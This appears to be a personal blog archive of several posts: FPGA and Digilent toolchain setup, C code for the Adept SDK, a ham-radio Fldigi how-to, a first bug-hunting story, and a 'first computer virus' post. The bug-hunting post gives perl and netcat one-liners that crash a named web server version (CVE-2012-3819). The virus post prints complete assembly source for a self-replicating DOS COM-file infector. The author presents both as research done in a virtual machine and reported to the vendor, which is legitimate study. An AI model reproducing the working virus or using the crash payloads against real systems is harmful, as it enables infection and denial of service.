Wednesday, September 12, 2012

Communicating with the Basys2 using the Adept SDK

Writing code for development boards is fun: LEDs flash, respond to button presses, etc. Eventually though, we would like to be able to communicate with our boards using a PC. Many boards include a RS-232 (serial) port for just this purpose. RS-232 has a few drawbacks though, most notably that if your computer was purchased this millennium, you will probably have to use a USB-serial converter. These are cheap and prevalent, but it is just another thing to clutter up your workspace. Also, transferring large amounts of non-ASCII data (i.e. raw hex) can be challenging and time consuming. Since legacy ports are going the way of the Dodo bird, many developers are omitting the serial port from their development boards, and instead including a USB controller. The Basys2 from Digilent is one such board. This leaves us in a lurch, unless we can find a way to interact with the device through its USB controller. And that's were the Adept SDK comes in.

Instead of having to look up the specifics of the USB chip on the board, the Adept SDK provides APIs to interact with the board. In this post, I'll cover just 2 of the libraries: the device access management library (DMGR) and the asynchronous parallel port library (DEPP). Note that DEPP is so named for the similarity to the Enhanced Parallel Port (EPP) protocol used by parallel ports.

The Adept SDK provides code samples for each of the libraries. For the DMGR library, there are 2 examples: EnumDemo and GetInfoDemo. To get started, download the Adept SDK and Adept Runtime from Digilent. Install the runtime, and decompress the SDK somewhere you can find it. The SDK contains:
  • Documentation: PDF files describing how to use the libraries in the doc folder
  • Header Files: The include folder contains header files
  • Static Libraries: The APIs are provided as precompiled libraries
  • Code Samples: Example code for each library is included in the samples folders

After downloading the SDK for Windows, I set about to compiling some of the samples. There are introductions on how to do this in the samples directory, but they are specific to Visual Studio. In my case, I am using MinGW's toolchain. The linkers in the two toolchains expect library files to be named differently. Visual Studio expects a library file named <library name>.lib, and this is how the libraries are provided by Digilent. MinGW's linker, ld, only accepts library files in the format lib<library name>.a. Similarly, ld running under Linux expects a file lib<library name>.so. So, in order to use the Windows libraries provided by Digilent, I had to rename all of the files. dmgr.lib had to be renamed libdmgr.a, for example. The Windows version of the SDK contains the libraries in the lib or lib64 directories. The Linux version installs the libraries with the runtime.

In order to get g++ to compile the examples, I had to specify the include directory using -I, specify the library directory using -L, and specify which libraries to use AFTER the filename. For example, a project that uses only the DMGR library would have -ldmgr after the file name.

I compiled and executed the DMGR examples EnumDemo and GetInfoDemo. These confirmed that there was in fact a Basys2 attached to my system, and that it supported the DEPP library. I then instantiated a DEPP interface on the FPGA that included 2 operand registers and a result register. The operand registers can be written by the PC, and the result register can be read. Actually creating those structures on the FPGA will be covered in another post, but project files can be found here.

I wanted to write some code to write values to the operand registers, then read the result out. Here's what it looks like (full file here):
 #if defined(WIN32)
/* Include Windows specific headers here.*/
#include <windows.h>
#endif
This makes the necessary types available on a Windows.
#include <stdio.h>
#include "dpcdecl.h"
#include "dmgr.h"
#include "depp.h"
All of the header files needed for this project.
#define OP1ADDR         0x00
#define OP2ADDR         0x01
#define RESADDR         0x00
I chose to use text substitutions to define the register locations, to make my code easier to read. And then we start with main():
int main()
{
        HIF deviceHandle;
        int status = fTrue;
        char deviceName[32] = "Basys2";
        unsigned char result;
The type HIF is defined in dpcdecl.h, and is a structure that holds a handle to a device. This handle is used to interact with the Basys2. The status variable will be used for error detection/error handling. The device name is the UserName of the device. I found the UserName using EnumDemo. result will hold the result of the arithmetic that we read back from the device.
//Open a handle to the device
status = DmgrOpen(&deviceHandle,deviceName);
if (status)
printf("Successfully opened a handle to %s\n", deviceName);
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}
 The first step in interacting with the device is to open a handle to it. Note that the API functions return FALSE if there is an error, and TRUE if they are successful.
//Enable the default port (Port 0) on the device
status = DeppEnable(deviceHandle);
if (status)
printf("Successfully enabled Port 0\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}
The EPP port must be enabled before reading or writing.
//Do some math
DeppPutReg(deviceHandle, OP1ADDR, 0x00, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x00, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0x00 + 0x00 = 0x%02X\n", result);
//...
DeppPutReg(deviceHandle, OP1ADDR, 0xFF, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x01, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0xFF + 0x01 = 0x%02X\n", result);
Here's where I actually transfer some data to and from the device. I write to the operand registers using DeppPutReg(), and then read the result register using DeppGetReg(). I ran through several scenarios to make sure that the adder was working properly.
//Disable the active port on the device
status = DeppDisable(deviceHandle);
if (status)
printf("Successfully disabled DEPP port\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}

//Close our handle to the devicestatus = DmgrClose(deviceHandle);
if (status)
printf("Successfully closed device handle\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
} 
This is all cleanup to make sure that I gracefully release the device.

When it was all said and done, the output looked like this:
Successfully opened a handle to Basys2
Successfully enabled Port 0
0x00 + 0x00 = 0x00
0x01 + 0x00 = 0x01
0x01 + 0x01 = 0x02
0xA5 + 0x5A = 0xFF
0xFF + 0x01 = 0x00
Successfully disabled DEPP port
Successfully closed device handle

And so, I successfully moved raw data to the device, and read a result. While an unsigned 8-bit adder is trivial, this gives me all of the building blocks to do something more interesting, like cryptographic work.

Tuesday, September 11, 2012

My First Experiences Bug Hunting, Part 1

/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when  the product is again up for renewal." [formatting by me] 
Enough of the boring stuff, let's get to the fun!
*/

A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.

Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:
  1. Install Software
  2. ????
  3. Win/Exploit
And to me it really does feel like magic, like only a Techno-God could look over some executable and discover a bug and how to exploit it. But I knew there must be a way to find my own bug and make a custom exploit. So I looked toward a few resources. I bought eight books on various forms of information security, from web, to database. And it seems like the favorite type of exploit, the bug hunter's creme of the crop exploit, is the Stack or Buffer Overflow. Armed with a plethora of information, I picked an application with some familiar technology to me. I chose a Web Server/Web App which we use at work, I downloaded the trial and installed it. Then it was time to see where it'd go.

The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?

It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:
GET / HTTP/1.1\n\n
Simple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].
perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80
I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).

So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80
The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.
perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80
Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.

/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
perl -e 'print "A" x 520000 . "\n\n"' | nc server 80
*End Alert*/

So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.

Until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Tuesday, August 28, 2012

Writing my First Computer Virus

I write this, in part, as a nod to Herm1t over at VX Heavens, which has recently been shutdown by the Ukrainian government. Computer viruses, and computer virology are best explored in a safe and controlled environment, and it is our right as researchers to do so. VX Heavens has shared wonderful information for 2 decades, affecting the industry in positive ways that we'll never see the end of.

Those who know me very well know that one of the primary reasons for my learning how to write software, was to write computer viruses. Those who don't know me extremely well may mistakenly assume this was for malicious reasons. It was not, it's somewhat of a secret but there was a time in my life when I was not good with computers at all. If you really want to know why I decided to I wanted to write viruses, you'll just have to ask me in person, because it's somewhat of a personal story for me and it's kind of too dumb to get into here.

For the rest of you who don't care, here's a story about the first, ever, computer virus I've written! To be clear this is a virus in a stricter definition than the public tends to use. This virus infects COM files (yeah, remember those?) and runs in a fairly confined environment (it's current directory). It has no malicious content, with the exception of possibly violating Title 13-2316 paragraphs 2 & 3 (Arizona Title 13-2316). Which of course requires it to be occurring without permissions. Since I'm writing it and keeping it in a virtual machine it pretty much means I'm 100% in the clear. So now that the legal stuff is out of the way, let's talk implementation.

The system I am interested in developing in will be a MS-DOS 6.22 system. I'll be running it in a virtual machine which I will leave the setup as an exercise for the dedicated student. Next I will employ the assembling prowess of the Flat Assembler (FASM). This computer virus is heavily based on the TIMID virus described by Dr. Mark Allen Ludwig in his "The Little Black Book of Computer Viruses." (Amazon)

So let's begin, a little theory seems a good start.

COM files are flat files that are loaded into memory directly. The first bytes (offset 0x0000) are loaded into offset 0x100 in memory and then up. The reason for the 256 byte offset is a throwback to the CP/M operating system called the Program Segment Prefix (PSP).  For the particularly curious Wikipedia has a fairly well rounded article here.

Viruses may have several goals and these goals are up to the implementer to choose. For instance, the number 1 priority may be to replicate itself. A reasonable number 2 priority may be to survive. Since I'm really just interested in the fundamentals of virology we'll stick with focusing merely on this number 1 priority - Replication.

The virus, in order to replicate has many options. It may attach itself to the beginning of a file, or to the end, or break itself up and spread itself around in the file (e.g. CIH). Inserting into the start of COM file is difficult if there are any absolute offsets used in the program, as this will shift all of these offsets. And breaking it up, is obviously the most complicated option, though likely one of the best to subvert detection.

Basically, this is my first virus so we'll stick with the easiest, inserting the virus at the end of the COM file.

We'll need a few things:

  1. A routine which will identify potential files to infect. 
  2. A routine to perform the infection while preserving enough information to reconstruct the original code to continue to execute effectively.
  3. A payload (may be as simple as just a ret), we'll use a print call when infecting, same as TIMID.


A common issue is that the viral code, when attached to the end of a file will regularly appear in a different location in memory. So we can not rely on too many absolute addresses (with a few exceptions related to the operating system (e.g. the PSP mentioned above). My solution involves determining the current code location and then referencing data members at a regular offset from there, this is probably the most notable variation of TIMID, and the rest is largely the same.

I use various DOS syscall methods, one of the most important is setting up a temporary Disk Transfer Area (DTA) which holds the file handles and data while we read and write files. For a reference to the other DOS syscalls see here.



;Origin is 0x100 - This is for COM files, which include
; a 256 byte PSP (Program Segment Prefix)
org 0x100
use16

start_file:
host: 
        jmp     near virus        ;Make it look like this file is infected.
                db 'Vx'
virus:
        sub     esp, 0x80        ; new DTA space.
        mov     ebp, esp         ; ebp will point to our DTA       
        lea     dx, [esp]        ; address for new DTA
        mov     ah, 0x1A         ; set DTA
        int     0x21             ; syscall, create new DTA space.

        call    get_start        ;
get_start:
        pop     si               ; pull the EIP from the stack, this is our location.
        sub     si, get_start    ; si is ready to handle offsets to the data section

        call    find_file        ; Find an infectable file.
        jnz     fin              ; Failed to find a file, bail.       
        call    infect           ; Infect the file!        
fin:
        push    si               ; Reimage the host bytes
        lea     si, [si+HOST_IMAGE]      
        lea     di, [0x100]      ; Default starting position      
        mov     cx, 0x05         ; Number of bytes to image
        rep     movs  BYTE [di], [si]    ; Copy 5 bytes from *si to *di
        pop     si               ; Restore si

        mov     dx, 0x80            ; reset to use default DTA
        mov     ah, 0x1A            ; set DTA function
        int     0x21                ; syscall

        mov     esp, 0xFFFF         ; 
        mov     ebp, esp            ; Restore the stack

        push    0x100               ; push the "new" return address
        ret

;-----------------------------------------------
;Find infectable files.
;-----------------------------------------------
find_file:
        lea     dx, [si + files]        ; searching COM files
        mov     ah, 0x4E                ; search function id
        ff_loop:
                mov     cl, 0x06        ; attribute mask
                int     0x21            ; syscall
                or      al, al          ; checking success: non-zero return (success)
                jnz     done            ; on failure, no file found we're done.
                call    check_file      ; check if this file is infectable
                jz      done            ; file is infectable, return to main
                mov     ah, 0x4F        ; file was not infectable, search next (function id)
                jmp     ff_loop         ;   --

check_file:
  ;First we check the size of the file to ensure our virus can fit in it!
        push   dx
        xor     bx, bx                  ; Clear bx, this represents our soon to be file handle.
        mov    ax, [ebp + 26]              ; Value @ Defaut DTA + offset to file size
        cmp    ax, 0x05                    ; Make sure it's *atleast* 5 bytes
        jl      bad_file                ; File is too small!
        add     ax, end_file - start_file + 0x100       ; End of virus - start of virus + size of PSP
        jc      bad_file                ; File is too big to accommodate this virus.
       
        mov     ax, 0x3D02              ; Open file with read/write
        lea     dx, [ebp + 30]          ; Default DTA + offset of file name
        int     0x21                    ; open file.       
        jc      bad_file                ; failed to open file?

        mov     bx, ax                  ; Open succeeded, file handle is in bx.
        mov     ah, 0x3F                ; Read file
        mov     cx, 0x05                ; 5 bytes worth
        lea     di, [si + START_IMAGE]  ; load the effective address of the start_image
        mov     dx, di                  ; dx is actually used in the sycall.
        int     0x21                    ; syscall
        jc      bad_file                ; error, and we've already ruled out partial reads (less than 5)

        ;------Ensure the file is not already infected.
        cmp     BYTE [di], 0xE9         ; Check for the jmp near.
        jne     good_file               ; It wasn't, so it's not infected.
        cmp     WORD [di+3], 0x7856     ; Check for 'Vx'
        je      bad_file                ; The file was infected, next file.

        good_file:
                pop     dx              ; Restore registers
                xor     al, al          ; Return status is good
                ret                     ; Return to caller with the file in the DTA.

        bad_file:
                or      bx, bx          ; Checking for a file handle
                jz      no_handle       ; no handle to close
                mov     ah, 0x3E        ; close file
                int     0x21            ; syscall - close the file.
                no_handle:
                        pop     dx      ; Restore registers
                        mov     al, 0x01; Return status is no file found
                        or      al, al  ; Set flags for status check
                        ret             ; Return to caller with no file found.
done:     
        ret
;-----------------------------------------------
;Infect, copy mechanism
;-----------------------------------------------
infect:    
        ;At this point the file is still open, the handle is in bx.
        lea     di, [ ebp + 26]         ; size of com file being infected
        mov     ax, [di]
        mov     cx, ax      
        lea     di, [si + START_VIR + 1]; The jmp offset
        sub     cx, 0x03                ; Remove the near jmp size. 
        mov     [di], cx                ; the offset to jmp to

        xor     ax, ax                  ; Seek to start
        mov     cx, ax
        xor     dx, dx
        mov     ah, 0x42            ; start of file
        int     0x21                ; syscall        

        mov     ah, 0x40            ; write to file
        mov     cx, 0x05            ; writing 5 bytes.
        lea     dx, [si + START_VIR]
        int     0x21                ; write file

        xor     ax, ax              ; Seek to end
        mov     cx, ax
        xor     dx, dx
        mov     ax, 0x4202          ; end of file
        int     0x21                ; syscall

        mov     ah, 0x40
        mov     cx, end_file - virus;size of virus
        sub     cx, 0x05            ; Write all but 5 bytes, this will get start_image
        lea     dx, [si + virus]    ; virus beginning        
        int     0x21                ; copy the virus out!

        mov     ah, 0x40            ; do another write to give HOST_IMAGE
        lea     dx, [si + START_IMAGE]  ; to the newly infected file.
        mov     cx, 0x05            ; Just 5 bytes.
        int     0x21                ;

        mov     ah, 0x3E            ;close file
        int     0x21                ;syscall

        push    dx                  ; print infection message
        lea     dx, [si + banner]
        call    print
        pop     dx
        ret

;-----------------------------------------------
;Helper methods, these'll go away in the final product
;-----------------------------------------------
print:
        push    ax         ; Makes this function non-destructive.
        mov     ah, 0x09   ; Print ASCIIZ
        int     0x21       ; print whatever is in ds:dx, this is for debugging
        pop     ax         ; Restore registers    
        ret                ; Return to caller
;-----------------------------------------------
;Data Section
;-----------------------------------------------
        banner          db 'Catatonic says "Hi!"', 0x0D, 0x0A, 0x24
        files           db '*.COM', 0x00
        START_VIR       db 0xE9, 2 dup(?), 'Vx'
        START_IMAGE     db 0x05 dup(?)
        HOST_IMAGE      db 0xB8, 0x00, 0x4C, 0xCD, 0x21 ; simple exit program.
end_file:

That's it! Sorry I'm not going more in depth on the specifics - this post is several months old for me now and I figured it'd just push it out instead of breaking it up or other things.

I believe this source code is good (if i recall correctly) and here is a screen shot of the results:


Have fun and stay safe!

Monday, January 23, 2012

Using Xilinx ISE WebPack IDE With Digilent Basys2

Prologue:
Presently the bulk of our focus has laid in configuring a Linux machine to have the capacity to act as a development environment for the Digilent Basys2 Development board. In this document we will walk through the process of loading the basic default program into the Basys2 board.

This document assumes that you’ve erased your Basys2’s Electrically Erasable Programmable Read Only Memory (EEPROM) data or is running some design other than the design shipped with the Basys2. If this is not the case, to ensure that the Basys2 is erased you may execute the following while your Basys2 is connected via USB and is TURNED ON (make sure the power switch is in the ON position):
djtgcfg erase -d Basys2 -i 1

Instructions:
First and foremost we must start the Xilinx ISE WebPack Integrated Development Environment (IDE). To do so, assuming you have used the default installation path, you may execute (similar for different versions) the following:
cd /opt/Xilinx/13.3/ISE_DS/ISE/bin/lin/
./ise &
Minimizing the IDE and opening a web browser, we may goto the following location: http://www.digilentinc.com/Products/Detail.cfm?NavPath=2,400,790&Prod=BASYS2

Locate the “Basys2 User Demo project” and download it.

In a terminal you may unzip the downloaded file using the unzip program:
unzip Basys2UserDemo.zip
This creates a pdf and a folder “Basys2UserDemo”. Let’s give focus back to the ISE WebPack IDE (Maximize it) and then select:

  1. File -> Open Project
    1. Browse to the unzipped folder location / “UncompiledBasys2UserDemo”
    2. Change “Files of Type” from “ISE Project Files (*.xise)” to “Old ISE Project Files (*.ise)”
    3. Select “Basys2UserDemo.ise” and Click “Open”
    4. When prompted to to mirgate the project, Click “Migrate Only”
  2. On the left there is a “Panel” called “Design” this may be toggled using “View -> Panels -> Design” though we will ensure this is checked and visible.
  3. Identify the Basys2UserDemo - Stuctural node in the Design Panel “Hierarchy,” select it and then right click on it.
  4. Select “Design Properties...”
  5. Ensure the following:
    1. Top-Level Source type: “HDL”
    2. Evaluation Development Board: “None Specified”
    3. Product Category: “All”
    4. Family: “Spartan 3E”
    5. Select “Device” to match if you have a 100K die or 250K die, 100K dies use XC3S100E and 250K dies use XC3S250E
    6. Package: “CP132”
    7. Speed: “-5”
    8. Click “OK”
  6. Identify the Basys2UserDemo - Stuctural node in the Design Panel “Hierarchy,” select it and then right click on it.
  7. Select “Implement Top-Module”
  8. Wait until all processing is complete...
  9. Identify “Generate Programming File” in the Design Panel under “Processes: Basys2UserDemo”, right click and select “Process Properties”
    1. Select “Startup Options” Category
    2. Ensure:
      1. FPGA Start-Up Clock: “JTAG Clock”
      2. Click “OK”
  10. Identify “Generate Programming File” in the Design Panel under “Processes: Basys2UserDemo”, right click and select “Run”
    1. This Generates a .BIT file which can be used to program the FPGA.
  11. From a terminal enter into the location enter the Basys2UserDemo/UncompiledBasys2UserDemo” folder and execute the following
    1. djtgcfg prog -d Basys2 -i 0 -f Basys2UserDemo.bit
    2. -i 0 : is the FPGA’s Random Access memory (RAM), this will not permanently load the User Demo to the Board.
    3. (Read the “Linux: Getting Started, Using Digilent Adept 2“ for more information if necessary)
Congratulations you should now have the user demo running on your Basys2! To Confirm this the 7-Segment displays on the bottom of the Basys2 will be counting from 0 to F in Hexadecimal and repeat.

Friday, January 20, 2012

Installing Digilent Adept 2 on Linux Workstations

So in my previous post I walk through the somewhat long, boring, but important steps, for installing the Xilinx ISE WebPack software. This is the software used for creating hardware designs, compiling them, optimizing them, routing them, and eventually it spits out a '.bit' file.


So in theory, once you've compiled a design, or have a .bit file for your particular Field Programmable Gate Array (FPGA) or Complex Programmable Logic Device (CPLD), you'll be ready to load it onto your device of choice! To do these we use Digilent Adept 2.


Digilent Adept 2: The Adept Runtime & Utilities consists of the shared libraries, firmware images, and configuration files necessary to communicate with Digilent's devices.
  1. Goto: http://www.digilentinc.com/Products/Detail.cfm?Prod=ADEPT2 and download the Run time software for your Linux architecture (32 or 64 bit)
  2. Decompress the downloaded file, this requires gzip
    1. eg. “gzip -d digilent.adept.runtime_2.8.2-i686.tar.gz”
  3. Untar the the decompressed file, this requires tar
    1. eg. “tar -xvf digilent.adept.runtime_2.8.2-i686.tar”
  4. Enter the directory which contains the run time installer
  5. *Execute the install.sh script, this will require superuser privileges (speak with your system administrator)
    1. eg. “sudo ./install.sh”
    2. Press [enter], press [Enter]
*As of this writing the Digilent Adept 2 runtime install.sh encounters an error on 3.x.x kernels that use udev. It should be fixed soon.

  1. Goto: http://www.digilentinc.com/Products/Detail.cfm?Prod=ADEPT2 and downlaod the Utilities software for your Linux architecture(32 or 64 bit)
  2. Decompress the downloaded file, this requires gzip
    1. eg. “gzip -d digilent.adept.utilities_2.1.1-i686.tar.gz”
  3. Untar the decompressed file, this requires tar
    1. eg. “tar -xvf digilent.adept.utilities_2.1.1-i686.tar”
  4. Enter the directory which contains the utilities installer
  5. Execute the install.sh script, this will require superuser privileges (speak with your system administrator)
    1. eg. “sudo ./install.sh”
    2. Press [enter], press [Enter]
I use a Digilent Basys 2 Development Board because it's cheap enough for me to afford, I also have a C-MOD which I have not used yet but will likely utilize at sometime this year. If you've done both the ISE WebPack install and the Adept 2 installation you should now have the necessary software to load new designs to devices of your choice!

Tuesday, January 17, 2012

Installing Xilinx ISE Webpack on Linux workstations

Recently I pulled out the old Field Programmable Gate Array (FPGA) from my desk and dusted it off to get it ready for some small projects. I'd just like to get a little more into digital design, etc. My experimenter board of choice is the Digilent Basys2 Spartan 3E FPGA Board. This is my board of choice because it's not very expensive and though many people tell me the Spartan 3E are obsolete/deprecated. However, this is what I have so it's the board and chip I'll use.

But before I can go off and put any designs on the board I need to pick up some digital design software. I'll be using Xilinx's ISE WebPack (currently version 13.3).

The following outlines the steps to getting started with Xilinx ISE WebPack on Linux based machines.

  1. Goto: http://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/design-tools.html and download the latest version of Xilinx ISE WebPack for your platform (Linux Full Installer).
    1. You will need to register a Username/Password in order to get the download, this registration will also be used when getting the Licensing file to activate ISE WebPack, so keep a copy safe and available!
  2. Confirm the download was successful by comparing MD5 checksums on the archive to the information at the above location.
    1. This requires openssl
      1. eg. “openssl md5 Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar”
  3. Untar the archive
    1. This requires tar
      1. eg. “tar -xvf Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar”
  4. Enter the directory for the Xilinx installer:
    1. eg. “cd Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0”
* ISE WebPack will ask for an installation directory during execution, the default is “/opt/Xilinx/13.3” (for the latest version as of 1/5/2011). The effective user must have write access to “/opt/” in order to install to this location. Speak to your system administrator for more information.
  1. Execute xsetup
    1. ./xsetup
  2. Click “Next”
  3. Review 1 of 2 License Agreement, click “I accept...” followed by “Next”
  4. Review 2 of 2 License Agreement, click “I accept...” followed by “Next”
  5. Select ISE WebPack, click “Next”
  6. Check the following:
    1. “Acquire or Manage a License Key”
    2. “Enable WebTalk to send software...”
    3. “Ensure Linux System Generator Symlinks”
    4. Click “Next”
  7. Check “Import tool preferences from previous version,” click “Next”
  8. Click “Install”
  9. Select “Get Free ISE WebPack License,” followed by “Next”
  10. Click “Connect Now”
    1. A browser should open redirecting you to login to register your ISE WebPack OR
    2. If this does not occur, you may follow the following link:http://www.xilinx.com/getlicense/
  11. Login using your credentials acquired through the registration process in Step 1.
  12. Confirm or Modify any registration information and click “Next” in your web browser.
  13. Continue any on screen instructions for generating a License Key [Unfortunately: I did this a while ago and no longer need to do it again. I merely managed my existing license and had a new copy of the Xilinx.lic file (the license) to me.]
  14. Once you have your Xiling.lic file emailed to you, download it to any directory and Select “Copy License File”
  15. Browse to the file location select the file, you will be prompted with a successful message, click “OK” followed by “Close”
  16. Click “Finish”
This concludes the installation of Xilinx ISE WebPack.

Coming soon, a quick intro to using ISE WebPack to load the default program...

Monday, February 28, 2011

Trying out Fldigi

As previously mentioned, I am a ham nerd. Yep, I like listening to the radio. Morse code? Never touched it. That's alright though, modern technology has removed the requirement for knowing those sorts of things (almost).  For instance, using computers to handle that work for us. Of course someone had to know it to make the software originally. But collaborative works are like that, you each do your part for the greater good.

Enter Fldigi. It's, simply put, a modem that runs off a sound card. It comes with a plethora of operating modes and data rates and allows for very available methods to do digital transmissions using your radio. I will have to point out that the first night I tried this I did not do any transmissions. I just listened in. Locally I found the VOR of our airport sending out it's identifier, tuned in, and watched Fldigi do it's magic.

Some configuration was required but it was trivial. Set the mode to CW, zero'd in on the frequency, and it automagically detected the rate. Then there it was... typing slowly out... my local airport's identifier. Very, very, very cool.

Here's what I needed:
My Yaesu FT-60R
Pryme Hand Mic
Male-Male 3.5mm 3 conductor (stereo) cable
My Computer, running Ubuntu whatever - it's up to date.

Steps to achieve to this:
Turn radio on tune to frequency performing digital transmission (or CW in my case)
Plug hand mic into radio
Plug audio cable into Headphone jack of hand mic
Plug audio cable into aux line in, or Microphone of computer
Install Fldigi: sudo apt-get install fldigi; fldigi &
Go through and configure your options, ignoring PTT for the moment
You should see the waterfall (pretty blue, yellow, orange) flowing at the bottom
Move the Red-box over the band of yellow/orange which looks like morse code
Magic happens.

Presto that's it!